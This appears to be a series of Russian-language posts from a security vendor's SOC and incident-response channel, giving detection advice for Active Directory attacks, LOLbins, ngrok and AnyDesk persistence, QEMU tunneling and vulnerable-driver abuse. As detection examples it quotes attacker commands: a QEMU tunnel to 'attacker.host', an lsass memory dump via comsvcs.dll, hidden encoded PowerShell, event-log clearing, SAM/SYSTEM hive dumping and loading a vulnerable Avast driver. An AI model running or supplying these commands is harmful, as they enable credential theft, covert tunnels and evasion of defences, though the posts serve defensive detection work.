Что такое атрибуция? Это когда вам с умным видом рассказывают, что судя по языку комментариев в коде, хакеры пришли из Серверной Кореи.

На деле, эти сказки не работают уже много лет. Серьёзные хакерские группы давно научились добавлять в свои инструменты множество фальшивых атрибутов. Если не верите – почитайте, как облажалась вся, буквально вся ИБ-индустрия, пытаясь угадать, откуда пришёл OlympicDestroyer.

А вот более актуальный пример APT прошлой осени: группировка, чьи шпионские модули обращаются к командному серверу по адресу lunnayareka[.]com. Думаете, мы будем вещать, что это русскоязычные хакеры, которые любят корейский сериал про девушку-воина? Нет, не будем. Ведь фантастическая девушка из сериала "Лунная Река" никак не поможет, когда вас взломают.

Лучше мы покажем, как эта хакерская группа атакует российские государственные организации, и по каким IoC-ам их надо вычислять. А вы проверьте – может, они и за вами шпионят:
https://securelist.ru/ataki-na-industrialnyj-i-gosudarstvennyj-sektory-rf/108229/

Одна из сложных для обнаружения атак в корпоративных сетях – Shadow Credentials (использование поддельных сертификатов). Отследить её трудно, поскольку злоумышленники применяют легитимные механизмы Active Directory.

Как ловить такие атаки (изменение msDS-KeyCredentialLink для доверия сертификату атакующего с целью получить билет Kerberos):
Включаем и анализируем 4768:
1) Существует ли DeviceId у атрибута msDS-KeyCredentialLink. Если существует и объекта с таким DeviceId нет в домене – подозрительно. Если существует DeviceId и относится к коннектору Azure AD, то похоже на легитимную работу.
2) Поле Flags не содержит MFANotUsed. Как правило, в легитимном случае содержит.
3) KeyMaterial имеет длину, отличную от 270 байт, — именно такие артефакты оставляет Whisker.
И/или смотрим исторические взаимодействия с msDS-KeyCredentialLink.

Подробнее о том, как находить артефакты в AD и настроить детектирующую логику в SIEM – читайте в нашей статье: https://securelist.ru/anomaly-detection-in-certificate-based-tgt-requests/107710/

Все говорят, что лучшая защита от шифровальщиков – это бэкапы. Но не все знают, что средства резервного копирования могут быть использованы для компрометации вашей системы. Особенно если вы применяете сервисы резервного копирования на основе протокола NDMP (Veritas Backup и другие).

Ловим эксплуатацию:
– в директории <Veritas>\Data (Windows: C:\Program Files\Veritas\Backup Exec\RAWS\Data; Linux: /opt/VRTSralus/data), где появятся файлы поддельных сертификатов, установленные атакующим.
– в реестре HKLM\Software\Veritas\Backup Exec For Windows\Common\Backup Exec\Engine\Agents\Security\Certificates (или в файле /etc/VRTSralus/ralus.cfg для Linux) смотрим метаинформацию установленных сертификатов. Например, можно сравнить IP-узла установщика сертификата с IP-адресом настоящего мастер-сервера Backup Exec-а.

Подробности в докладе –
Видео: https://youtu.be/Nd5ORi2bIO8
Слайды: https://github.com/klsecservices/Publications/blob/master/PHD2023%20Network%20infrastructure%20compromise%20via%20backup%20tools.pdf

Экзотический способ создания сетевых туннелей. Атакующие использовали QEMU – программу для эмуляции аппаратного обеспечения различных платформ. Оказалось, что виртуальные машины QEMU на различных хостах можно соединять через сетевые сокеты – что и устроили злоумышленники. Смотрите, как создаётся такой туннель:

qemu-system-i386.exe -m 1M -netdev user,id=lan,restrict=off -netdev socket,id=sock,connect=attacker.host:443 -netdev hubport,id=port-lan,hubid=0,netdev=lan -netdev hubport,id=port-sock,hubid=0,netdev=sock -nographic

Подробный отчёт об этой атаке и методах защиты:
https://securelist.ru/network-tunneling-with-qemu/108838/

Тысячи веб-мастеров, ИБшников и домохозяек ещё два года назад могли прочитать, как легко взламывается Bitrix, и как от этого защититься, и как избежать утечек через эту CMS. Но в XXI веке никто не читает такие длинные статьи!

Поэтому нам остаётся только взять попкорн и наблюдать сбычу очевидных пророчеств. Если у вас уже случилась утечка – вы наверняка используете Bitrix. А если у вас ещё не случилась утечка – просто поставьте себе побольше "Битрикса", и вы тоже попадёте в наш годовой отчёт о значимых утечках:
https://content.kaspersky-labs.com/se/media/ru/data-leaks-report-2023.pdf

Как реагировать на утечку? Мониторьте Дарквеб. Анализируйте упоминания вашей компании. Проверяйте фейки. Вычисляйте источник и составляйте профиль злоумышленника. Ищите место утечки и закрывайте брешь. Не платите выкуп. И скачайте наш плейбук по реагированию на утечку:
https://content.kaspersky-labs.com/se/media/ru/dark-web-playbook-ru.pdf

Осенью 2016 года хакеры группы Lazarus, проникшие в сеть одного из банков Индонезии, готовились вывести оттуда 10 миллионов долларов. Точкой входа для атаки стал сайт банка, заражённый вредоносным скриптом. Но как вы думаете, кого первым заподозрили? Пентестера, который делал анализ защищённости банковского веб-приложения! К счастью, парень сумел доказать, что его деятельность была именно тестом, и что он сразу же предоставил банку всю информацию об уязвимостях. Просто банк не закрыл свои дыры до того, как на сайт пролезли грабители.

Чтобы у вас не было такого – проводите анализ защищённости своих веб-приложений вовремя! Ведь даже сейчас самый популярный вид веб-уязвимостей – недостатки контроля доступа. Этим страдает 74% всех сайтов, которые мы исследовали в 2021-2023 годах. И больше трети таких уязвимостей – высокого риска.

Как выглядит вся «горячая десятка» модных веб-уязвимостей, и как предотвратить их эксплуатацию – читайте в отчёте:
https://securelist.ru/top-10-web-app-vulnerabilities/109215/

Готовим аналитический отчёт про атаки, которые наш SOC отбивал весь 2023 год.

Атакующие продолжают активно применять легитимные утилиты (LOLbins): их использование мы наблюдали в каждом десятом инциденте прошлого года. А если брать инциденты высокой критичности – почти в каждом третьем. Самые популярные LOLbins – это powershell.exe и rundll32.exe: они замечены в 12% критичных инцидентов. Поэтому адаптация детектирующей логики под выявление нецелевого использования этих утилит в ваших сетях должна стать приоритетной задачей команды мониторинга.

Плохая новость в том, что обнаружение LOLbins связано с большим количеством ложных срабатываний. И всё же ряд хрестоматийных активностей атакующих можно вылавливать по таким командам:

`rundll32.exe  C:\windows\System32\comsvcs.dll, MiniDump <...>`

В случае powershell задача посложней. Плохие запуски хорошо видны аналитическому взору, но их много:

`powershell.exe" -NonInteractive -Enc "...OQA5ACIA...KQA=`
`powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc ...AZg...AbwA=`
`powershell.exe clear-eventlog security,application,system`
`powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4)<...>$s=New-Object System.Diagnostics.ProcessStartInfo;<...>')-f''k'',''p'',''B''); <...> 7}m{''''9''''}i{5}''''t''''i''''{''''6}''+''{9}'')-f''y'',''S'',''M'',''g'',''u'',''U'',''l'',''A'',''o'',''s'')); if <...>
`powershell.exe -command "&{reg.exe save hklm\sam C:\programdata\Microsoft\drm\sam.save; reg.exe save hklm\system C:\programdata\Microsoft\drm\system.save; reg.exe save hklm\security C:\programdata\Microsoft\drm\security.save}"`

Как научить аналитиков SOC ловить такие запуски? Пусть ваша offensive-команда соберёт варианты использования powershell в вашей организации – и запускает тестовые атаки в похожей форме, чтоб выглядело как легитимная активность.

Если ваша красная команда ищет неординарные способы сбора информации о целевых системах, или прикидывает, откуда начать поиск следующего preauth-зиродея в Windows-инфраструктуре, можно обратиться к знаниям предков и вспомнить про MSRPC и Null-session.

Хотя пик популярности атак с использованием нулевой сессии миновал более 20 лет назад, недра удалённого вызова процедур все ещё скрывают в себе множество интересных интерфейсов взаимодействия. А значит, есть и соответствующая поверхность атаки. Пример на скриншоте – информация о домене, собранная без авторизации с использованием MSRPC-интерфейсов.

А теперь представьте, что с использованием таких интерфейсов возможно проводить перебор доменных пользователей – и делается это гораздо менее заметно, чем при той же преаутентификации в Kerberos.

В мае мы планируем подробно рассказать о том, как анализировать MSRPC-интерфейсы, какие атаки можно осуществлять с их помощью, и как их детектировать. А пока проверьте, на всех ли ваших хостах отключена нулевая сессия!

Продолжаем полезные советы на основе анализа достижений атакующих, выявленных нашим SOC’ом в 2023 году.

Многие критические инциденты связаны с повышением привилегий (TA0004) после первоначального доступа (TA0001). Очень часто это обнаруживается как добавление учётных записей в различные привилегированные группы (Domain Admins, Enterprise Admins, …). Понятно, что ложных срабатываний здесь тоже бывает много.

Что делать? Нужна регулярная инвентаризация членства в привилегированных группах. Если вы мониторите этот процесс самостоятельно, важно наличие формального порядка управления полномочиями. Если же этим занимаются ваши подрядчики по обнаружению, им должна быть оперативно доступна информация о легитимности изменений в привилегированных группах.

Вот простой пример. Многие изменения, выявляемые нашими аналитиками у заказчиков, выглядят так:

`% net user <...> /add` 
`% net {local}group <...> /add`

На практике такие детекты часто оказываются ложноположительными. Что вполне естественно, ведь команда net –нативный механизм работы с пользователями в Windows.

Однако существует утилита-двойник net1.exe, которая появилась в Windows NT и Windows 2000 как временный костыль для решения «ошибки Y2K» при работе утилиты net. И хотя сама «ошибка Y2K» давно исправлена, утилита net1 осталась в более поздних версиях Windows для обеспечения совместимости со старыми компонентами ОС. И при вызове net следом всегда вызывается net1 – по сути, Windows проксирует выполнение в эту команду.

При этом вызовы net, как уже сказано, часто бывают легитимными. Но когда утилиту-двойника net1 вызывают напрямую, ручками – это очень подозрительно. А если вместе с добавлением пользователя (любым способом) ещё и проводили разведку, типа:

query  session /server:<DomainContollerFQDN>  
qwinsta.exe" /server:<DomainContollerFQDN>  
net или net1  group "domain admins" /domain
net или net1  user <...> /domain  
nltest  /domain_trusts

...то в этом случае пора «вентилировать вопросик» с ответственными админами и службой ИБ о легитимности данной активности.

Инструменты Advanced IP Scanner и SoftPerfect Network Scanner – самые распространённые сетевые сканеры, которые используются в подавляющем большинстве атак на этапе Discovery. В момент использования этих утилит атакующие уже имеют доступ в инфраструктуру, но до ущерба пострадавшей организации ещё есть время для реагирования.

Основная сложность с такими сканерами – статус легального ПО: их нельзя автоматически блокировать как вредоносы, иначе вы заблокируете и легитимное использование сотрудниками. Наша рекомендация: любое использование этих инструментов должно рассматриваться как инцидент и приводить к соответствующему реагированию. Но нужно особо обращать внимание на такие детали:

– Нерабочее время: ночь, выходные и праздники.

– Подозрительный путь запуска: например, \ProgramData\x64\netscan.exe

– Учётная запись, от имени которой запущен сканер. Рядовой сотрудник не должен сканировать сеть. Использование локального админа, а не доменной учётки, тоже кажется подозрительным (атакующие ещё не поднялись до домен-админа и начали сканировать сеть).

– Система/сервер, где был зафиксирован запуск. Обращайте внимание на сервера, которые могут быть потенциально начальной точкой компрометации, опубликованные сервера (Exchange, терминальные сервера, IIS, ...), а также контроллеры домена.

– Запуск сканера в контексте терминальной сессии (RDP, AnyDesk, ...) c одной внутренней системы (и из удалённых сессий – VPN) на другую внутреннюю систему.

Больше про использование легитимного софта атакующими расскажем в ежегодном отчёте нашей команды Incident Response. Скоро опубликуем!

Будни расследований инцидентов напомнили отличный сценарий первоначального доступа в инфраструктуру для ваших упражнений команды обнаружения и реагирования.

Атакующий получил доступ к почте сотрудника и, дождавшись переписки с аттачем, добавил свою вредоносную нагрузку в перекидываемый между адресатами документ. Нет нужды выдумывать интересные сценарии социалки для упражнения – такое уже точно откроют. А ещё при таком подходе легче обойти боязнь клика на подтверждение макроса.

Способ утилизации иногда бесполезных доменных учёток: в удалёнку им нельзя или 2FA, а вот на почту вход свободен. Сложно только договориться на подобный сценарий в рамках упражнений (пентесты, симуляции и эмуляции атак): этому может помешать запрет на нарушение тайны переписки.

Что касается вредоносной нагрузки: это офисный документ с макросом, последующим дропом тушек и коннектами наружу. Звучит и есть 100% адверсариальненько.

Продолжаем наблюдать множество атак через подрядчиков (Trusted relationship attacks). Причина понятна: подрядными организациям зачастую становятся небольшие компании, у которых не всегда хорошо с безопасностью.

Вот классическая схема, которую мы встречали во многих инцидентах 2023-2024 годов. После взлома сети подрядчика атакующие находят учётки для подключения к VPN (или другим формам удалённого доступа) клиентов этого подрядчика. Далее закрепление на атакованных системах через утилиту для туннелирования ngrok. Иногда её запускают как сервис, передавая ей конфигурационный файл, содержащий токен и порт для подключения:

ngrok.exe service run --config ngrok.yml

Либо злоумышленники руками добавляют токен для подключения и запускают утилиту:

ngrok.exe config add-authtoken <TOKEN> 
ngrok.exe tcp 3389

При наличии такого туннеля у атакующего уже нет необходимости подключения через VPN. При этом ngrok является легитимной утилитой и не подлежит уничтожению за зловредность.

Кроме того, использование ngrok не оставляет на системе IP-адрес источника подключения. При обычном подключении по RDP в журнале Microsoft-Windows-TerminalServices-LocalSessionManager/Operational.evtx мы увидим событие подключения (21) или переподключения (25), а в поле источника подключения будет IP-адрес злоумышленника, внешний или внутренний.

Если же подключение происходит через ngrok, то в качестве источника будет указано значение ::%16777216, которое не несёт информации об источнике подключения. Но в большинстве случаев такой артефакт окажется признаком подключения через утилиту туннелирования.

Подробнее о разных вариантах атак через подрядчиков расскажем позже – в отдельном большом материале!

Расследовали интересный инцидент с использованием билдера шифровальщика LockBit 3.0. Атакующие получили учётку админа и собрали свою версию шифровальщика, которая при помощи этой учётки смогла распространиться по сети, отключить Windows Defender и удалить журналы событий Windows после первичного заражения, чтобы зашифровать данные и замести следы.

Однако при горизонтальном распространении по сети зловред генерировал новые логи создания удалённых служб – и уже не удалял их за собой. На скриншоте выше показаны найденные на одном хосте записи о создании удалённой службы PsExec с аутентификацией, выполненной с нескольких заражённых хостов. Такие записи помогли проанализировать распространение зловреда внутри инфраструктуры, выявить скомпрометированные учётки и изолировать заражённые системы.

Подробности расследования:
https://securelist.ru/lockbit-3-0-based-custom-targeted-ransomware/109332/

И снова страшилки про подрядчиков-аутсорсеров, через которых атакующим так удобно проникать в инфраструктуры крупных компаний-клиентов. Атакующим-то удобно! А вот для тех, кто расследует инциденты, здесь возникает ряд проблем.

Во-первых, проблемы юридические. Подрядчик – это ведь не ваш заказчик. Это сторонняя компания, она может не дать вам доступов для расследования. При этом понятно, что если подрядчика ломанули, то наверняка добрались и до других его клиентов. И все эти кейсы стоило бы оперативно расследовать. Но подрядчик боится репутационных рисков! И даже если он дал вам расследовать свой кейс, он вовсе не поспешит сообщать о проблеме всем остальным пострадавшим (хотя бывают приятные исключения).

А вот ещё одна популярная схема атаки, из инцидентов 2023-2024 годов. Мы уже рассказывали, как после компрометации подрядчика атакующие проникают в сети его клиентов по RDP и закрепляются там с помощью туннеля ngrok. Другой типичный вариант – запуск утилиты для удалённого подключения AnyDesk. Которая тоже вполне легитимна и не блокируется EPP (антивирусами).

Однако данная утилита создаёт собственные журналы. А значит, вы можете собрать со своих сенсоров нужные индикаторы атаки. Наиболее полезными окажутся connection_trace.txt и ad.trace/ad_svc.trace (имена приведены для Windows).

Журнал connection_trace.txt позволит быстро определить факты подключения к анализируемой системе и их тип (User, Token, Password). Если AnyDesk использовался злоумышленником, и в указанном журнале встретится тип подключения Token и Password – это будет означать, что атакующий настроил автоматическое подключение в AnyDesk по паролю, и при запущенном AnyDesk сможет подключиться к системе в любой момент.

А в журнале ad.trace/ad_svc.trace, содержащем отладочную информацию, часто будет возможность определить IP-адрес, с которого производилось подключение.

Но в случае, если злоумышленник удалил журналы AnyDesk, обнаружить следы подключений через данное ПО практически невозможно. Остаётся лишь внимательно анализировать события в окрестностях периода активности через утилиту удалённого подключения, обращая внимание на появление подозрительных файлов в файловой системе, подключений по RDP и т.д.

Мы только недавно открыли этот канал, а нам уже все дают полезные советы. Мало, говорят, у вас весёлых картинок. И котиков совсем нет!

И действительно. Вот рассказали мы вам, как выявлять использование хакерами легитимных утилит powershell.exe и rundll32.exe. И как замечать подозрительный запуск сканеров Advanced IP Scanner и SoftPerfect Network Scanner. Но весёлых иллюстраций в этих постах не было – и мы получили всего лишь десяток лайков от читателей.

А ведь это были данные из годовых аналитических отчётов наших команд MDR и IR. В этих отчётах ещё много интересной статистики и рекомендаций по защите от самых современных атак. И теперь это всё – с клёвыми картиночками! Там даже котик есть. Кто не верит, посмотрите сами:

Managed Detection and Response 2023
https://media.kasperskycontenthub.com/wp-content/uploads/sites/58/2024/05/03181545/mdr-analytical-report-2023-RU.pdf

Incident Response 2023
https://media.kasperskycontenthub.com/wp-content/uploads/sites/58/2024/04/18155218/ir-analytical-report-2023.pdf

Во фреймворке для описания хакерских атак MITRE ATT&CK завели новую технику T1090.003 (Multi-hop Proxy) после расследования, проведённого нашими экспертами. В общем случае техника состоит в использовании цепочки множественных прокси для того, чтобы скрыть источник вредоносного трафика. А в том конкретном кейсе, который расследовали наши аналитики, малвара использовала технологию NKN (New Kind of Network). Это децентрализованная P2P-сеть на основе блокчейн-протокола.

Разобранный имплант NKAbuse создаёт в сети NKN новый аккаунт и нового мульти-клиента. Это позволяет передавать сообщения через разных клиентов, и таким образом обеспечивать устойчивую связь с C2. Наличие NKN-протокола в сети вашей организации должно быть подсказкой.

Хронология добавления техники в MITRE:
– 4 месяца от запроса до публикации,
– отказ упоминания компании в контрибуторах,
– автора оставили: Eduardo Chavarro Ovalle.

Подробности: https://securelist.com/unveiling-nkabuse/111512/

Техника атаки Pass the Ticket не нова, однако всё ещё популярна для горизонтального перемещения внутри домена. Одним из способов получения билета чужого пользователя является кража билета из-под соседней LUID-сессии с последующем кэшированием для текущей активной сессии атакующего. Существует множество инструментов, позволяющих это осуществить: Rubeus, TGSThief, kekeo и т.д.

Детектировать подобную активность можно, например, через просмотр всех закэшированных билетов для текущей сессии пользователя – командой klist. Если имя пользователя в билете не совпадает с именем пользователя активной сессии, такая активность подозрительна.

Но на практике даже легитимный пользователь может применять несколько дополнительных учёток для администрирования. Конечно, подобную активность можно отфильтровать вручную, однако придётся это делать снова и снова, с приходом каждого нового пользователя. Поэтому для решения проблемы можно задействовать машинное обучение (ML).

Рассмотрим на примере нашей агрегации (скриншот выше). Здесь видно, что пользователи petrov и sidorov имеют дополнительные учётки, билеты которых хранятся у них в закэшированном виде. Данная активность постоянная, что можно понять по общему количеству срабатываний правила. А вот пользователь bob имеет три разных закэшированных билета, и ранее подобная активность не наблюдалась. Это может свидетельствовать о том, что данная учётка могла быть скомпрометирована.

ML-cистемы поведенческого анализа могут выявлять схожие аномалии в телеметрии и определять возможные украденные kerberos-билеты из-под сессии пользователей. Подробнее о кейсах с использованием ML в работе SOC будем говорить на грядущем PHDays 23-26 мая. Ищите в программе конференции наш трек «Восстание машин: возможно ли заменить аналитика SOC искусственным интеллектом?».

Архитектура Windows позволяет неплохо противодействовать установке и использованию неизвестных, неподписанных, а стало быть, потенциально опасных драйверов. Но наличие уязвимостей даже в легитимных драйверах перечеркивает все изобретенные митигации и дарует нам атаку Bring Your Own Vulnerable Driver (BYOVD).

Множество софта, написанного за долгую историю доминирования Windows на пользовательском рынке, создаёт колоссальную поверхность атаки с минимальными возможностями предсказания, где и как будут проведены такие атаки. Жирным бонусом от эксплуатации уязвимостей в kernel-драйверах является получение привилегий уровня ядра ОС. А это даёт возможность отключить (либо изящно обойти) практически любой механизм защиты и мониторинга, установить руткит, бэкдор, или даже поиграться с заражением BIOS/UEFI.

Пример подобной атаки через уязвимый драйвер описали наши эксперты в детальном разборе TTP группировки вымогателей CUBA. Вот показательный кусочек кода из bat-скрипта, используемого этой группировкой:

sc.exe create aswSP_ArPot2 binPath= C: \windows\temp\aswArPot.sys type= kernel
sc.exe start aswSP_ArPot2

Здесь aswArPot.sys – это легальный антируткит-драйвер Avast, содержащий две уязвимости: CVE-2022-26522 и CVE-2022-26523. Они позволяют создать и запустить службу уровня ядра от имени пользователя с ограниченными правами. Цель – завершить процессы EDR-агентов (в конфиге ВПО был целый список с наиболее «любимыми» ею EDR-процессами) и совершенно незаметно приступить к следующей стадии деплоя рансомвары.

Что делать защите? Вот парочка полезных опенсорсных проектов-репозиториев, где собирается инфа про уязвимые драйвера: LOLDrivers (www.loldrivers.io) и Kernel Driver Utility (github.com/hfiref0x/KDU). Настраиваем фиды к себе в SIEM – и простым правилом помечаем любой чих со стороны тех сомнительных драйверов, с которыми приходится уживаться в силу невозможности обновления.

Распознавание лица для организации физического контроля доступа – это удобно. Если вчера опух, то можно показать свою (или чужую) фотографию. А можно просто надеть футболку со специальным QR- кодом, и биометрический сканер тебя пропустит.

Если покопаться внутри устройства, то открываются новые просторы для атак. Не только доступ в помещение, которое «охранял» взломанный сканер, но и закрепление на устройстве без мониторинга, для последующего развития атаки.

Рассказываем подробности анализа защищённости биометрического считывателя крупной международной компании на докладе Георгия Кигурадзе «Без лица: предъявите вашу кавычку», который начнётся 23 мая в 11:00 на конференции PHDays.

В апреле мы показывали вам годовые аналитические отчёты наших команд MDR и IR. Там были красивые картинки с котиками, а также много интересной статистики по инцидентам прошедшего года. Одновременно наши коллеги Сергей Солдатов и Константин Сапронов провели вебинар «Сезон киберохоты», где комментировали эту статистику и отвечали на вопросы.

Но вопросов было много, ответить на все за время вебинара не успели. Зато ответили после! Весь Q&A можно найти по ссылке. Спасибо за хорошие вопросы, вытянувшие из наших экспертов такие знания:

– Да, зиродеи – это плохо. Но большая часть атак проводится с использованием хорошо известных уязвимостей с публичными эксплоитами (1-day).
– На реальных инцидентах lsass дампят 1001 способом, включая довольно «свежие» (например, LSA Whisperer)
– Да, нужно читать угрозные отчеты (TI) и писать на их основании правила обнаружения. Но все отчёты не прочитать, все угрозы не покрыть, все правила не написать: приоритизация очень важна и считается отдельной дисциплиной – угрозный аналитик (CTI analyst). Не забывайте использовать тесты в любом BAS для проверки пула своих детектирующих правил.

И лучший вопрос с лучшим ответом:

Q: По вашим наблюдениям, существует ли феномен "фишингового вторника": преобладание начала фишинговых атак во вторник?
A: По нашим наблюдениям, существует феномен обращений за расследованием инцидентов в пятницу вечером! Даже если инцидент случился в понедельник, вечер пятницы – это самое частое время обращений за услугой.

В полном файле Q&A отмечены три лучших вопроса, которые выбрали наши эксперты, проводившие вебинар. Авторы этих вопросов могут получить подарки от экспертов, если напишут по адресу rub2b@kaspersky.com.